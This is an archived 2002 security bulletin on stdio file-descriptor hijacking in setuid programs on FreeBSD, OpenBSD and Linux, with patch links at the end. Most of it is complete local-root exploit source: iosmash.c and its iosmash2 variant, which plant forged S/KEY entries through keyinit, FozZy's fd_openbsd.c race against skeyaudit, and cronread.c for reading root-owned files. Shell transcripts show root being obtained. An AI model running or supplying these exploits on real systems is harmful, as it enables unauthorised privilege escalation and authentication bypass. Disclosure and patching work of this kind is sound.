23th Apr 2002 [SBWID-5301]
COMMAND
	Posix standard input/ouput/error (stdio,stderr)  hijacking  gives  local
	root
SYSTEMS AFFECTED
	At least Solaris 2.5.1-2.5.8
	All releases of FreeBSD up to and including 4.5 prior to this  date  (23
	April 2002)
	OpenBSD 3.0
PROBLEM
	Thanks to Joost Pol [http://www.pine.nl], James  Youngman  and  Theo  de
	Raadt findings, in FreeBSD security [FreeBSD-SA-02:23.stdio] advisory :
	By convention, POSIX systems associate file  descriptors  0,  1,  and  2
	with standard input, standard output, and standard error,  respectively.
	Almost all  applications  give  these  stdio  file  descriptors  special
	significance, such as writing error messages  to  standard  error  (file
	descriptor 2).
	In new processes, all file descriptors are duplicated  from  the  parent
	process. Unless these descriptors are marked close-on-exec, they  retain
	their state during an exec.
	All POSIX systems assign file descriptors in sequential order,  starting
	with the lowest unused file descriptor. For example, if a  newly  exec'd
	process has file descriptors  0  and  1  open,  but  file  descriptor  2
	closed, and then opens a file, the new file descriptor is guaranteed  to
	be 2 (standard error).
	Some programs are set-user-id or set-group-id, and  therefore  run  with
	increased privileges. If such a program is  started  with  some  of  the
	stdio  file  descriptors  closed,  the  program  may  open  a  file  and
	inadvertently associate it with  standard  input,  standard  output,  or
	standard error. The program may then read data from  or  write  data  to
	the file inappropriately. If  the  file  is  one  that  the  user  would
	normally not have privileges to open, this may result in an  opportunity
	for privilege escalation.
	Local users  may  gain  superuser  privileges.  It  is  known  that  the
	`keyinit' set-user-id program is exploitable using  this  method.  There
	may be other programs that are exploitable.
	Joost Pol [http://www.pine.nl] adds :
	Consider the following (imaginary) suid application:
	-- begin of imaginary code snippet
	
	FILE * f = fopen("/etc/root_owned_file", "r+");
	if(f) {
	       fprintf(stderr, "%s: fopen() succeededn", argv[0]);
	       fclose(f);
	      }
	
	-- end of imaginary code snippet
	Now, consider the following (imaginary) exploit:
	-- begin of imaginary exploit snippet
	
	while(dup(1) != -1); 
	close(2);
	execl("/path/to/suid_application",
	      "this text will endup in the root_owned_file", 0);
	
	-- end of imaginary exploit snippet
	Exploitation has been confirmed using the S/KEY binaries.
	Bert hubert [http://ds9a.nl] adds :
	Here is a simple test, executing a setuid process with filedescriptor  2
	closed, and then opening a file and seeing what fd it gets.
	For  further  tests,  'outer'  might  try  to  exhaust  *all*  available
	filedescriptors except 0, 1 or 2.
	
	begin 644 setuid-fd-2.tar.gz
	M'XL(`"5PQ#P``^V6;6O;,!#'[;Z%+>T`Z<DL>S8,63K8+1]V15"80P&0['E
	MV-21@B4W"V/??2?GH>Y(ES=I2IE^!"*=I-/YI/_9BNLJ3WIITO/=U@M!:>!'
	M88C_U(M"VOS?T*)1,/1HA%,'+>IYOA^T('RI@)I42K,2H,6RZI_S]HV_453C
	M_&_8/4_S@A]Z#^I1.@R"Y_?W(WZ_(<ACN!?SC$Z>'#F07__GYLZ(8@:PT
	M+R$7@I>$Q`5G8D1.RAGTTJ=#KQVLY>`T]3^^_GQU<WWX/?;I/QKZC?KO&_U[
	M=&#U?PS&E8`9UOTN,)&`SOBJ"ZHJ.7:9AKY;JQ]R!7(A>`*3)912ZGK!ZOK4
	M_1$A?7=5+DQ*M=JL[,(BR^,,=)ES!5J"G.,N+M>Q.V=*+7`Y9XF[*'.-84PJ
	M#8GDB@C<HK:9);GN$W)6AT:($V=,3&N[V;A#R"G$&0:WBFN];6V<R01H@!?
	M6RMQDE+.8<+B>^-`2-%;.SF#=?SDLI`J%U-($_#))99(T^$_>0RI++>>;O$Q
	M,!V['V2$BR&A-QEF+=<)'G,M'EZD]&EK(!A>K_<WL%#5:`O-BEXG^"*GK=K
	MHPE'!C,<DPLGHVL2LC8@S$)J4S^4V46^]MU-SDKR+>U'_]6/WXX'=LG_[#
	M0;!Y_T>A%QC]AYYG]7,3G,1%Q5>KX]JJ5R]G'/5SSZ1IV9,D7YJ36.A"V,B
	MN=!X/W/AF`8KIW$798<9/3_'SD.'_"(`9@COI]&]TV[HI=V]_3&^^CKN?#"3
	M4@?G7'@=;)^4>"U+`=0,X&]>HHO4:>^7W/ODNVAWL;7Q.>6:XPUW.L;OHZ=O
	M:VF8*F/TWX5ME3.FE2S05>V&%XIOXO-W^WF4V+O5JM]OXW.IJ?^Z^+V"_@?A
	M5O]A%*ST/XBL_H_!HZ0K@:^7I-;T48K"1D'-E^U&<#':N./7[>V9][#6Y&B
	MO7#::RO6@$:3UH)[5Q;+!:+Q6*Q6"P6B5BL5@L%HO%<BS^`.,,CT`*```
	`
	end
	765 bytes
	
	KF [http://www.phased.home.ro/iosmash.c] keyinit exploit :
	
	/*
	  phased/b10z
	  [email protected]
	  23/04/2002
	  stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
	  decided to make a trivial exploit to easily get root :)
	  > id
	  uid=1003(phased) gid=999(phased) groups=999(phased)
	  > ./iosmash
	  Adding phased:
	  <--- HIT CTRL-C ---> 
	  > su
	  s/key 98 snosoft2
	  Password:MASS OAT ROLL TOOL AGO CAM
	  xes# 
	  this program makes the following skeys valid
	  95: CARE LIVE CARD LOFT CHIC HILL
	  96: TESS OIL WELD DUD MUTE KIT
	  97: DADE BED DRY JAW GRAB NOV
	  98: MASS OAT ROLL TOOL AGO CAM
	  99: DARK LEW JOLT JIVE MOS WHO
	  http://www.snosoft.com
	  cheers Joost Pol
	*/
	#include <stdio.h>
	#include <unistd.h>
	int main(int argc, char *argv[]) {
		while(dup(1) != -1);
		close(2);
		execl("/usr/bin/keyinit",
		"nroot 0099 snosoft2	6f648e8bd0e2988a     Apr 23,2666 01:02:03n");
	}
	
	 Phased adds (25 April 2002) :
	Some commented i used su to gain root, however skeys  is  used  via  all
	auth methods, i.e. telnet so you could change the  user  to  someone  in
	wheel, havent used skeys via ssh but i  presume  it  works.  root  isn't
	allowed to telnet by default but usually can ssh, but  if  the  box  has
	people in the wheel group you can change the root to  any  user  in  the
	exploit to log in via skeys as that user.
	Welcome to FreeBSD!
	
	> id
	uid=1000(d0tslash) gid=1000(d0tslash) groups=1000(d0tslash)
	>
	> grep wheel /etc/group
	wheel:*:0:root,akt0r-root,misterx
	>
	> perl -pi -e 's/root /misterx /g' iosmash.c
	> gcc -o iosmash.c iosmash
	>./iosmash
	Adding d0tslash:
	<--- HIT CTRL-C --->
	> grep 98 iosmash.c
	  s/key 98 snosoft2
	  98: MASS OAT ROLL TOOL AGO CAM
	        "nmisterx 0099 snosoft2        6f648e8bd0e2988a     Apr 23,2666
	01:02:0
	3n");
	> su misterx
	s/key 98 snosoft2
	Password:MASS OAT ROLL TOOL AGO CAM
	%pwd
	/usr/home/d0tslash
	%id
	uid=1001(misterx) gid=1001(misterx) groups=1001(misterx), 0(wheel),
	1006(cvsusers)
	%cd ~
	%grep "root " iosmash.c
	  decided to make a trivial exploit to easily get root :)
	        "nroot 0099 snosoft2   6f648e8bd0e2988a     Apr 23,2666 01:02:03n");
	%gcc -o iosmash iosmash.c
	%./iosmash
	Updating misterx:
	Old key: snosoft2
	<--- HIT CTRL-C --->
	%su
	s/key 98 snosoft2
	Password:MASS OAT ROLL TOOL AGO CAM
	xes#
	
	 Update (06 May 2002)
	 ======
	Linux is also vulnerable, at least to the extent of bypassing files  ACL
	:
	Paul Starzetz adds :
	I don't  think  there  was  enough  research  on  open  file  descriptor
	problems. For example, I found this small bug while playing yround  with
	crontab on Linux:
	
	gcc cronread.c -o cronread
	export VISUAL=/bin/vi
	crontab -e
	<:sh> escape to shell
	./cronread
	0000 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/0   
	dump (y/n) n
	0001 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/1   
	dump (y/n) n
	0002 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/2   
	dump (y/n) n
	0003 iz OPEN    st_uid 0        st_gid 0        PATH 
	/var/spool/cron/deny       dump (y/n) y
	--- DUMPING /var/spool/cron/deny ---
	guest
	gast
	---
	0005 iz OPEN
	0006 iz OPEN
	ls -l /var/spool/cron/deny
	-rw-------    1 root     root           11 Oct 25  2001 /var/spool/cron/deny
	
	So I'm able to read a privileged system file using  this  technique  :->
	Not necessary to mention the consequences of inheriting such a  fd  open
	for writing. More effort must be put  to  investigate  this  problem  in
	current Linux/Unix suid/setgid binaries.
	have fun with the attached source.
	/ih
	
	Content-Type: text/plain;
	 name="cronread.c"
	Content-Transfer-Encoding: 7bit
	Content-Disposition: inline;
	 filename="cronread.c"
	/****************************************************************
	*								*
	*	insecure FD seeker					*
	*	by IhaQueR '2002					*
	*								*
	****************************************************************/
	#include <stdio.h>
	#include <unistd.h>
	#include <fcntl.h>
	#include <sys/types.h>
	#include <sys/stat.h>
	#include <linux/limits.h>
	#define TMPLEN 1024
	void dumpfd(int fd, char *name)
	{
	int r;
	char c=13;
		r = lseek(fd, 0, SEEK_SET);
		if(r == (off_t)-1) {
			perror("lseek");
			return;
		}
		printf("n--- DUMPING %s ---nn", name);
		do {
			r = read(fd, &c, sizeof(c));
			if(r>0) {
				printf("%c", c);
			}
		} while(r>0);
		printf("nn---");
		fflush(stdout);
	}
	int main()
	{
	int i, r, f;
	uid_t uid;
	gid_t gid;
	struct stat st;
	char buf[TMPLEN];
		uid = getuid();
		gid = getgid();
		for(i=0; i<NR_OPEN; i++) {
			r = fstat(i, &st);
			if(!r) {
				printf("n%.4d iz OPEN", i);
				if(st.st_uid != uid || st.st_gid != gid) {
					printf("tst_uid %dtst_gid %d", st.st_uid, st.st_gid);
					snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i);
					buf[sizeof(buf)-1] = 0;
					readlink(buf, buf, sizeof(buf)-1);
					buf[sizeof(buf)-1] = 0;
					printf("tPATH %s ", buf);
					printf("tdump (y/n) ");
					r = getchar();
					if(r == 'y')
						dumpfd(i, buf);
					getchar();
				}
			}
		}
		printf("nn");
		fflush(stdout);
	return 0;
	}
	
	 Update (10 May 2002)
	 ======
	FozZy     from     Hackademy     and     Hackerz     Voice     newspaper
	[http://www.hackerzvoice.org] found manage to exploit  this  on  OpenBSD
	3.0 :
	On current OpenBSD systems, any local user (being or not  in  the  wheel
	group) can fill the kernel file descriptors table, leading to  a  denial
	of service. Because of a flaw in the way the kernel checks  closed  file
	descriptors 0-2 when  running  a  setuid  program,  it  is  possible  to
	combine these bugs and earn root access by winning a race condition.
	As described before closing  file  descriptors  0,  1  and/or  2  before
	exec'ing a setuid program can make this program open files  under  these
	fds, which have special meanings for libc  (stdin/out/err).  Reading  or
	writing   to   root-owned   files   can   be   made   possible,    since
	stdXX==opened_file.
	Since 1998, there is a check in the OpenBSD kernel, intended to  prevent
	this: in the execve function, if fd 0, 1 or 2  is  closed,  then  it  is
	opened as a new file descriptor assigned to /dev/null. Then, the  setuid
	program can be safely executed.  But,  unlike  the  FreeBSD  and  NetBSD
	patch (and unlike what does linux in  glibc),  if  there  is  a  failure
	here, we break out of the current  loop  and  the  execve  goes  on  (it
	should fail: this was pointed out by art in the comments  of  the  code,
	but not fixed).
	
	-------------
	In sys/kern/kern_exec.c, in the loop where the kernel tries to open
	/dev/null on closed fd 0->2: 
	(...)
	 if ((error = falloc(p, &fp, &indx)) != 0)
	     break;
	(...)
	-------------
	
	This can be exploited by a local user to gain root  !  An  attacker  can
	win a race condition with respect to the system file descriptors table:
	1)  Fill  the  kernel  file  descriptors  table  (see  the  "local  DoS"
	explanation).
	2) Execute a setuid prog with (for instance) fd number 2 closed. In  the
	execve kernel function, fd number 2 will  not  be  opened  to  /dev/null
	because the falloc will fail. So, the setuid program will  be  run  with
	fd 2 closed.
	3) Quickly close some fd in order to allow the program to run  correctly
	(ld.so needs free file descriptors, and so  does  the  setuid  program).
	Step 3 timing is crucial: if too early, /dev/null will  be  assigned  to
	fd 2. If too late, the suid prog execution will fail. But I found  that,
	by tuning a simple "for" loop, the good timing is quite easy to meet...
	 Exploit
	 =======
	I exploited successfully this vulnerability on OpenBSD 3.0,  and  became
	root from luser using the setuid-root program "/usr/bin/skeyaudit".
	The trick is to put the line we want to  insert  in  /etc/skeyskey  into
	argv[0], with new line tags, when running skeyaudit. Any entry  for  the
	local user must be removed first, so skeyaudit will complain on  stderr,
	printing its "filename" (argv[0]) and some error text. If  /etc/skeyskey
	is opened on fd number 2, we won.
	
	/*        fd_openbsd.c
	   (c) 2002 FozZy <[email protected]>
	  Local root exploit for OpenBSD up to 3.1. Do not distribute.
	 Research material from Hackademy and Hackerz Voice Newspaper (http://www.hackerzvoice.com)
	 For educational and security audit purposes only. Try this on your *own* system.
	 No warranty of any kind, this program may damage your system and your brain.
	 Script-kiddies, you will have to modify one or two things to make it work.
	 Usage:
	   gcc -o fd fd_openbsd.c
	   ./fd
	   su -a skey
	*/
	#include <unistd.h>
	#include <stdio.h>
	#include <sys/types.h>
	#include <sys/time.h>
	#include <sys/resource.h>
	#include <errno.h>
	#include <fcntl.h>
	#define SUID_NAME "/usr/bin/skeyaudit"
	#define SKEY_DATA "nr00t md5 0099 qwerty        545a54dde8d3ebd3  Apr 30,2002 22:47:00n";
	extern int errno;
	int main(int argc, char **argv) {
	  char *argvsuid[3];
	  int i, n;
	  int fildes[2];
	  struct rlimit *rlp;
	  rlp = (struct rlimit *) malloc((size_t) sizeof(rlp));
	  if (getrlimit(RLIMIT_NOFILE, rlp))
	    perror("getrlimit");
	  rlp->rlim_cur = rlp->rlim_max;  /* we want to allocate a maximum number of fd in each process */
	  if (setrlimit(RLIMIT_NOFILE, rlp))
	    perror("setrlimit");
	  n=0;
	  open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the kernel fd table, for execve to succeed later*/
	  while (n==0) {
	    for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing the SUID_NAME buffer, assuming its fd is 3 */
	      close(i);
	    i=0;
	    while(pipe(fildes)==0)  /* pipes are the best way to allocate unique file descriptors quickly */
	      i++;
	    printf("Error number %d : %sn", errno, (errno==ENFILE) ? "System file table full":"Too many descriptors active for this process");
	    if (errno==ENFILE) {    /* System file table full */
	      n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one fd, since a pipe allocates 2 fds or 0 if failure */
	      fprintf(stderr, "Let's exec the suid binary...n");
	      fflush(stderr);
	      if ((n=fork())==-1) {
		 perror("last fork failed");
		 exit(1);
	      }
	      if (n==0) {
		 for (i=3; i<=rlp->rlim_cur; i++)
		   close(i);   /* close all fd, we don't need to fill the fd table of the process */
		 argvsuid[0]=SKEY_DATA;  /* we put the data to be printed on stderr as the name of the program */
		 argvsuid[1]="-i"; /* to make skeyaudit fail with an error */
		 argvsuid[2]=NULL;
	         close(2);  /* let the process exec'ed have stderr as the *first* fd free */
		 execve(SUID_NAME, argvsuid, NULL);
		 perror("execve");
		 exit(1);
	      }
	      else {
		 for (i=0; i<2000000; i++)   /* Timing is crucial : tune this to your own system */
		   ;
		 for (i=4; i<=100; i++) /* free some fd for the suid file to execute normally (ld.so, etc.) */
		   close(i);
		 sleep(5);
	         for (i=3; i<=rlp->rlim_cur; i++)
	           close(i);
		 exit(0);
	      }
	    }
	    else {    /* process table full, let's fork to allocate more fds */
	      if ((n=fork()) == -1) {
		 perror("fork failed");
		 exit(1);
	      }
	    }
	  }
	  printf("Number of pipes opened by parent: %dn",i);
	  sleep(5);
	  for (i=3; i<=rlp->rlim_cur; i++)
	    close(i);
	  fprintf(stderr,"Exiting...n");
	  exit(0);
	}
	
	 Update (14 August 2002)
	 ======
	noconflic  [[email protected]]  kindly  sent  us  an  update   to
	iosmash :
	
	/*
	* Systems affected: FreeBSD <= 4.6               
	*
	* Credit:
	* ----------------------------------------------
	* Advisory:
	* http://www.guninski.com/freebsd2.html
	*
	* -----------------------------------------------
	*
	* Skey stuffage:
	* -----------------------------------------------
	* phased/b10z
	* [email protected]
	*
	* this program makes the following skeys valid
	*
	* 95: CARE LIVE CARD LOFT CHIC HILL
	* 96: TESS OIL WELD DUD MUTE KIT
	* 97: DADE BED DRY JAW GRAB NOV
	* 98: MASS OAT ROLL TOOL AGO CAM
	* 99: DARK LEW JOLT JIVE MOS WHO
	*
	* -------------------------------------------------
	*
	* This will allow you to su to any user.
	*
	* [nocon] > id
	* uid=1002(nocon) gid=1002(nocon) groups=1002(nocon)
	* [nocon] > grep wheel /etc/group
	* wheel:*:0:root,stpstone
	* [nocon] > /tmp/iosmash2 stpstone 
	* Adding nocon:
	* <--- HIT CTRL-C --->
	* [nocon] > su stpstone
	* s/key 98 iosmash2 
	* Password: MASS OAT ROLL TOOL AGO CAM
	* [/home/nocon]: id
	* uid=1001(stpstone) gid=1001(stpstone) groups=1001(stpstone), 0(wheel)
	* [/home/nocon]: /tmp/iosmash2 root
	* Adding stpstone:
	* <--- HIT CTRL-C --->
	* [/home/nocon]: su 
	* s/key 98 iosmash2
	* Password: MASS OAT ROLL TOOL AGO CAM
	* [/home/nocon]# id
	* uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
	* [/home/nocon]#
	*
	*
	* - noconflic
	* 31 July 2002
	*
	*/
	#include <stdio.h>
	#include <fcntl.h>
	int main(int argc,char *argv[])
	{
	FILE * f;
	char skey[] = {" 0099 iosmash2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"};
	char *user;
	char buff[100];
	          if (argc != 2) { 
	           printf("------------------------------------------------\n");
	           printf("FreeBSD <= 4.6 kernal file descriptor exploit\n-noconflic\n");
	           printf("------------------------------------------------\n");
	           printf("Usage: %s <username>\n",argv[0]); 
	           exit(1);  
	          } 
	user = argv[1];
	  strcpy(buff,"\n");
	  strcat(buff,user);
	  strcat(buff,skey);
	  buff[100] = '\0';
	while( ((int )f=dup(1)) != -1);
	         close(2); 
	         close(3); 
	  (int )f=open("/proc/curproc/mem",O_WRONLY);
	if ((int )f==-1) fprintf(stdout,"Error in open /proc\n");
	      execl("/usr/bin/keyinit",buff,0);                                    
	return(0);
	}
	
SOLUTION
	 FreeBSD :
	 =========
	Download the relevant patch from the  location  below,  and  verify  the
	detached PGP signature using your PGP utility.
	
	# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch
	# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch.asc
	
	 Update (31 July 2002)
	 =====================
	The original correction for this problem  (corresponding  to  the  first
	revision of this advisory) contained an error. Systems using  procfs  or
	linprocfs  could  still  be  exploited.  The  dates  for  the  original,
	incomplete correction were:
	Corrected:      2002-04-21 13:06:45 UTC (RELENG_4)
	                2002-04-21 13:08:57 UTC (RELENG_4_5)
	                2002-04-21 13:10:51 UTC (RELENG_4_4)
	 OpenBSD :
	 =========
	The following patches are available:
	OpenBSD-3.1:
	
	ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/003_fdalloc2.patch
	
	OpenBSD-3.0:
	
	ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.0/common/021_fdalloc2.patch
	
	OpenBSD-2.9:
	
	ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/026_fdalloc2.patch
	
	OpenBSD-current as  well  as  the  OpenBSD  2.9,  3.0  and  3.1  -stable
	branches have already been patched.
	Increasing kern.maxfiles and lowering the local users hard limits  (both
	number of processes and opened files per process) could be a  workaround
	to the DoS problem.